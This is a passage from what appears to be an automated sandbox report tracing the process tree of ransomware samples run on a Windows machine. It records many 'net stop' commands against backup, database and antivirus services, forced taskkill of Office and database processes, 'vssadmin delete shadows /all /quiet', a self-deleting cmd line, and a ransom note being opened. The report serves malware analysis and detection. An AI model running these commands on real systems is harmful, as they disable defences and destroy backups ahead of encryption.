      C:\Windows\system32\net1 stop "ReportServer" /y
      4⤵
      PID:7772
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$SQL_2008" /y
    3⤵
    PID:4940
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$SQL_2008" /y
      4⤵
      PID:4420
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$SYSTEM_BGC" /y
    3⤵
    PID:3496
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC" /y
      4⤵
      PID:7248
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$TPS" /y
    3⤵
    PID:1628
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$TPS" /y
      4⤵
      PID:3372
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$TPSAMA" /y
    3⤵
    PID:8084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$TPSAMA" /y
      4⤵
      PID:252
- - C:\Windows\SysWOW64\net.exe
    net stop "RESvc" /y
    3⤵
    PID:5252
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "RESvc" /y
      4⤵
      PID:3580
- - C:\Windows\SysWOW64\net.exe
    net stop "sacsvr" /y
    3⤵
    PID:3848
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "sacsvr" /y
      4⤵
      PID:7240
- - C:\Windows\SysWOW64\net.exe
    net stop "SamSs" /y
    3⤵
    PID:4968
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SamSs" /y
      4⤵
      PID:7052
- - C:\Windows\SysWOW64\net.exe
    net stop "SAVAdminService" /y
    3⤵
    PID:1536
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SAVAdminService" /y
      4⤵
      PID:4308
- - C:\Windows\SysWOW64\net.exe
    net stop "SAVService" /y
    3⤵
    PID:3680
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SAVService" /y
      4⤵
      PID:3728
- - C:\Windows\SysWOW64\net.exe
    net stop "SDRSVC" /y
    3⤵
    PID:7216
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SDRSVC" /y
      4⤵
      PID:6636
- - C:\Windows\SysWOW64\net.exe
    net stop "SepMasterService" /y
    3⤵
    PID:3176
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SepMasterService" /y
      4⤵
      PID:2304
- - C:\Windows\SysWOW64\net.exe
    net stop "ShMonitor" /y
    3⤵
    PID:5384
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ShMonitor" /y
      4⤵
      PID:2280
- - C:\Windows\SysWOW64\net.exe
    net stop "Smcinst" /y
    3⤵
    PID:5988
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Smcinst" /y
      4⤵
      PID:1692
- - C:\Windows\SysWOW64\net.exe
    net stop "SmcService" /y
    3⤵
    PID:2816
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SmcService" /y
      4⤵
      PID:5740
- - C:\Windows\SysWOW64\net.exe
    net stop "SMTPSvc" /y
    3⤵
    PID:3592
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SMTPSvc" /y
      4⤵
      PID:720
- - C:\Windows\SysWOW64\net.exe
    net stop "SNAC" /y
    3⤵
    PID:256
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SNAC" /y
      4⤵
      PID:7004
- - C:\Windows\SysWOW64\net.exe
    net stop "SntpService" /y
    3⤵
    PID:7276
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SntpService" /y
      4⤵
      PID:6432
- - C:\Windows\SysWOW64\net.exe
    net stop "sophossps" /y
    3⤵
    PID:6788
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "sophossps" /y
      4⤵
      PID:6952
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$BKUPEXEC" /y
    3⤵
    PID:7232
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$BKUPEXEC" /y
      4⤵
      PID:6596
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$ECWDB2" /y
    3⤵
    PID:6824
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$ECWDB2" /y
      4⤵
      PID:6660
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PRACTTICEBGC" /y
    3⤵
    PID:2400
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PRACTTICEBGC" /y
      4⤵
      PID:6204
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PRACTTICEMGT" /y
    3⤵
    PID:2676
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PRACTTICEMGT" /y
      4⤵
      PID:5872
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PROFXENGAGEMENT" /y
    3⤵
    PID:7320
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PROFXENGAGEMENT" /y
      4⤵
      PID:4256
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SBSMONITORING" /y
    3⤵
    PID:7120
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SBSMONITORING" /y
      4⤵
      PID:5000
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SHAREPOINT" /y
    3⤵
    PID:6336
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SHAREPOINT" /y
      4⤵
      PID:2728
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SQL_2008" /y
    3⤵
    PID:7352
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SQL_2008" /y
      4⤵
      PID:4776
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SYSTEM_BGC" /y
    3⤵
    PID:972
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SYSTEM_BGC" /y
      4⤵
      PID:1308
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$TPS" /y
    3⤵
    PID:4700
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$TPS" /y
      4⤵
      PID:7096
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$TPSAMA" /y
    3⤵
    PID:7508
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$TPSAMA" /y
      4⤵
      PID:7504
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$VEEAMSQL2008R2" /y
    3⤵
    PID:8144
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y
      4⤵
      PID:4000
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$VEEAMSQL2012" /y
    3⤵
    PID:5580
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012" /y
      4⤵
      PID:1312
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLBrowser" /y
    3⤵
    PID:7460
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLBrowser" /y
      4⤵
      PID:7200
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLSafeOLRService" /y
    3⤵
    PID:7044
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLSafeOLRService" /y
      4⤵
      PID:7316
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLSERVERAGENT" /y
    3⤵
    PID:2200
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLSERVERAGENT" /y
      4⤵
      PID:4336
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLTELEMETRY" /y
    3⤵
    PID:7488
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLTELEMETRY" /y
      4⤵
      PID:6928
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLTELEMETRY$ECWDB2" /y
    3⤵
    PID:6384
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLTELEMETRY$ECWDB2" /y
      4⤵
      PID:7084
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLWriter" /y
    3⤵
    PID:6704
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLWriter" /y
      4⤵
      PID:6716
- - C:\Windows\SysWOW64\net.exe
    net stop "SstpSvc" /y
    3⤵
    PID:6640
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SstpSvc" /y
      4⤵
      PID:5196
- - C:\Windows\SysWOW64\net.exe
    net stop "svcGenericHost" /y
    3⤵
    PID:7664
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "svcGenericHost" /y
      4⤵
      PID:4392
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_filter" /y
    3⤵
    PID:6160
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_filter" /y
      4⤵
      PID:1096
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_service" /y
    3⤵
    PID:6776
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_service" /y
      4⤵
      PID:2036
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_update_64" /y
    3⤵
    PID:4752
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_update_64" /y
      4⤵
      PID:6736
- - C:\Windows\SysWOW64\net.exe
    net stop "TmCCSF" /y
    3⤵
    PID:3224
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TmCCSF" /y
      4⤵
      PID:6376
- - C:\Windows\SysWOW64\net.exe
    net stop "tmlisten" /y
    3⤵
    PID:6892
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "tmlisten" /y
      4⤵
      PID:624
- - C:\Windows\SysWOW64\net.exe
    net stop "TrueKey" /y
    3⤵
    PID:1292
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TrueKey" /y
      4⤵
      PID:4572
- - C:\Windows\SysWOW64\net.exe
    net stop "TrueKeyScheduler" /y
    3⤵
    PID:8744
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TrueKeyScheduler" /y
      4⤵
      PID:7016
- - C:\Windows\SysWOW64\net.exe
    net stop "TrueKeyServiceHelper" /y
    3⤵
    PID:6700
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TrueKeyServiceHelper" /y
      4⤵
      PID:8304
- - C:\Windows\SysWOW64\net.exe
    net stop "UI0Detect" /y
    3⤵
    PID:8536
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "UI0Detect" /y
      4⤵
      PID:6884
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamBackupSvc" /y
    3⤵
    PID:8872
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamBackupSvc" /y
      4⤵
      PID:9264
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamBrokerSvc" /y
    3⤵
    PID:8432
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamBrokerSvc" /y
      4⤵
      PID:9056
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamCatalogSvc" /y
    3⤵
    PID:9772
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamCatalogSvc" /y
      4⤵
      PID:10164
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamCloudSvc" /y
    3⤵
    PID:4128
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamCloudSvc" /y
      4⤵
      PID:9444
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamDeploymentService" /y
    3⤵
    PID:8156
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamDeploymentService" /y
      4⤵
      PID:6328
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamDeploySvc" /y
    3⤵
    PID:3948
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamDeploySvc" /y
      4⤵
      PID:8624
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamEnterpriseManagerSvc" /y
    3⤵
    PID:6852
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamEnterpriseManagerSvc" /y
      4⤵
      PID:6856
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamMountSvc" /y
    3⤵
    PID:9480
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamMountSvc" /y
      4⤵
      PID:4936
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamNFSSvc" /y
    3⤵
    PID:9108
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamNFSSvc" /y
      4⤵
      PID:8148
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamRESTSvc" /y
    3⤵
    PID:4772
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamRESTSvc" /y
      4⤵
      PID:8244
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamTransportSvc" /y
    3⤵
    PID:6624
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamTransportSvc" /y
      4⤵
      PID:10668
- - C:\Windows\SysWOW64\net.exe
    net stop "W3Svc" /y
    3⤵
    PID:10896
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "W3Svc" /y
      4⤵
      PID:11128
- - C:\Windows\SysWOW64\net.exe
    net stop "wbengine" /y
    3⤵
    PID:9932
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "wbengine" /y
      4⤵
      PID:8816
- - C:\Windows\SysWOW64\net.exe
    net stop "WRSVC" /y
    3⤵
    PID:9192
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "WRSVC" /y
      4⤵
      PID:9648
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2008R2" /y
    3⤵
    PID:9408
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y
      4⤵
      PID:10112
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$VEEAMSQL2008R2" /y
    3⤵
    PID:9168
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y
      4⤵
      PID:8484
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamHvIntegrationSvc" /y
    3⤵
    PID:9672
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamHvIntegrationSvc" /y
      4⤵
      PID:9136
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_update" /y
    3⤵
    PID:6672
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_update" /y
      4⤵
      PID:10404
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$CXDB" /y
    3⤵
    PID:11036
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$CXDB" /y
      4⤵
      PID:5560
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$CITRIX_METAFRAME" /y
    3⤵
    PID:8928
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$CITRIX_METAFRAME" /y
      4⤵
      PID:9320
- - C:\Windows\SysWOW64\net.exe
    net stop "SQL Backups" /y
    3⤵
    PID:9496
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQL Backups" /y
      4⤵
      PID:10576
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PROD" /y
    3⤵
    PID:8428
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PROD" /y
      4⤵
      PID:9692
- - C:\Windows\SysWOW64\net.exe
    net stop "Zoolz 2 Service" /y
    3⤵
    PID:8112
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Zoolz 2 Service" /y
      4⤵
      PID:9904
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerADHelper" /y
    3⤵
    PID:7172
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerADHelper" /y
      4⤵
      PID:3428
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PROD" /y
    3⤵
    PID:10656
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PROD" /y
      4⤵
      PID:4840
- - C:\Windows\SysWOW64\net.exe
    net stop "msftesql$PROD" /y
    3⤵
    PID:10288
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "msftesql$PROD" /y
      4⤵
      PID:6584
- - C:\Windows\SysWOW64\net.exe
    net stop "NetMsmqActivator" /y
    3⤵
    PID:11240
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "NetMsmqActivator" /y
      4⤵
      PID:8668
- - C:\Windows\SysWOW64\net.exe
    net stop "EhttpSrv" /y
    3⤵
    PID:8508
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EhttpSrv" /y
      4⤵
      PID:4560
- - C:\Windows\SysWOW64\net.exe
    net stop "ekrn" /y
    3⤵
    PID:9156
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ekrn" /y
      4⤵
      PID:2308
- - C:\Windows\SysWOW64\net.exe
    net stop "ESHASRV" /y
    3⤵
    PID:1268
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ESHASRV" /y
      4⤵
      PID:10912
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SOPHOS" /y
    3⤵
    PID:9456
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SOPHOS" /y
      4⤵
      PID:10412
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SOPHOS" /y
    3⤵
    PID:9920
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SOPHOS" /y
      4⤵
      PID:10572
- - C:\Windows\SysWOW64\net.exe
    net stop "AVP" /y
    3⤵
    PID:10168
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AVP" /y
      4⤵
      PID:8228
- - C:\Windows\SysWOW64\net.exe
    net stop "klnagent" /y
    3⤵
    PID:3488
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "klnagent" /y
      4⤵
      PID:3548
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SQLEXPRESS" /y
    3⤵
    PID:7112
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SQLEXPRESS" /y
      4⤵
      PID:380
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SQLEXPRESS" /y
    3⤵
    PID:9676
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SQLEXPRESS" /y
      4⤵
      PID:11236
- - C:\Windows\SysWOW64\net.exe
    net stop "wbengine" /y
    3⤵
    PID:9252
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "wbengine" /y
      4⤵
      PID:11012
- - C:\Windows\SysWOW64\net.exe
    net stop "kavfsslp" /y
    3⤵
    PID:9228
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "kavfsslp" /y
      4⤵
      PID:8216
- - C:\Windows\SysWOW64\net.exe
    net stop "KAVFSGT" /y
    3⤵
    PID:11016
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "KAVFSGT" /y
      4⤵
      PID:10348
- - C:\Windows\SysWOW64\net.exe
    net stop "KAVFS" /y
    3⤵
    PID:8740
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "KAVFS" /y
      4⤵
      PID:9536
- - C:\Windows\SysWOW64\net.exe
    net stop "mfefire" /y
    3⤵
    PID:2692
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfefire" /y
      4⤵
      PID:9140
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM zoolz.exe /T
    3⤵
    - Kills process with taskkill
    PID:3864
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM agntsvc.exe /T
    3⤵
    - Kills process with taskkill
    PID:9256
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM dbeng50.exe /T
    3⤵
    - Kills process with taskkill
    PID:10872
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM dbsnmp.exe /T
    3⤵
    - Kills process with taskkill
    PID:11064
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM encsvc.exe /T
    3⤵
    - Kills process with taskkill
    PID:8348
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4116
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM excel.exe /T
    3⤵
    - Kills process with taskkill
    PID:6168
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM firefoxconfig.exe /T
    3⤵
    - Kills process with taskkill
    PID:10464
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM infopath.exe /T
    3⤵
    - Kills process with taskkill
    PID:568
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM isqlplussvc.exe /T
    3⤵
    - Kills process with taskkill
    PID:8716
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM msaccess.exe /T
    3⤵
    - Kills process with taskkill
    PID:9352
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM msftesql.exe /T
    3⤵
    - Kills process with taskkill
    PID:10396
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mspub.exe /T
    3⤵
    - Kills process with taskkill
    PID:9428
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mydesktopqos.exe /T
    3⤵
    - Kills process with taskkill
    PID:9948
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mydesktopservice.exe /T
    3⤵
    - Kills process with taskkill
    PID:6032
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mysqld.exe /T
    3⤵
    - Kills process with taskkill
    PID:3536
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mysqld-nt.exe /T
    3⤵
    - Kills process with taskkill
    PID:9928
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mysqld-opt.exe /T
    3⤵
    - Kills process with taskkill
    PID:10876
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ocautoupds.exe /T
    3⤵
    - Kills process with taskkill
    PID:3156
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ocomm.exe /T
    3⤵
    - Kills process with taskkill
    PID:9700
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ocssd.exe /T
    3⤵
    - Kills process with taskkill
    PID:9744
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM onenote.exe /T
    3⤵
    - Kills process with taskkill
    PID:4912
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM oracle.exe /T
    3⤵
    - Kills process with taskkill
    PID:8268
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM outlook.exe /T
    3⤵
    - Kills process with taskkill
    PID:8000
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM powerpnt.exe /T
    3⤵
    - Kills process with taskkill
    PID:10936
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqbcoreservice.exe /T
    3⤵
    - Kills process with taskkill
    PID:10136
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlagent.exe /T
    3⤵
    - Kills process with taskkill
    PID:8588
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlbrowser.exe /T
    3⤵
    - Kills process with taskkill
    PID:10308
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlservr.exe /T
    3⤵
    - Kills process with taskkill
    PID:8284
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlwriter.exe /T
    3⤵
    - Kills process with taskkill
    PID:8340
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM steam.exe /T
    3⤵
    - Kills process with taskkill
    PID:8680
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM synctime.exe /T
    3⤵
    - Kills process with taskkill
    PID:10416
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM tbirdconfig.exe /T
    3⤵
    - Kills process with taskkill
    PID:8644
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM thebat.exe /T
    3⤵
    - Kills process with taskkill
    PID:8828
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM thebat64.exe /T
    3⤵
    - Kills process with taskkill
    PID:6548
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM thunderbird.exe /T
    3⤵
    - Kills process with taskkill
    PID:10984
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM visio.exe /T
    3⤵
    - Kills process with taskkill
    PID:9124
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM winword.exe /T
    3⤵
    - Kills process with taskkill
    PID:8444
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM wordpad.exe /T
    3⤵
    - Kills process with taskkill
    PID:6564
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM xfssvccon.exe /T
    3⤵
    - Kills process with taskkill
    PID:11116
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM tmlisten.exe /T
    3⤵
    - Kills process with taskkill
    PID:3824
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM PccNTMon.exe /T
    3⤵
    - Kills process with taskkill
    PID:9544
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM CNTAoSMgr.exe /T
    3⤵
    - Kills process with taskkill
    PID:6972
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM Ntrtscan.exe /T
    3⤵
    - Kills process with taskkill
    PID:3160
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mbamtray.exe /T
    3⤵
    - Kills process with taskkill
    PID:3868
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ping localhost -n 3 > nul & del C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:10964
  - - C:\Windows\SysWOW64\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:6252
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 4780
    3⤵
    - Program crash
    PID:8576
- C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
  "C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates connected drives
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1332
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:4308
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5008
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:1656
- C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
  "C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"
  2⤵
  - Executes dropped EXE
  - Checks system information in the registry
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2080
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\RANSOMNOTE.txt
    3⤵
    - Modifies registry class
    - Opens file in notepad (likely ransom note)
    PID:3284
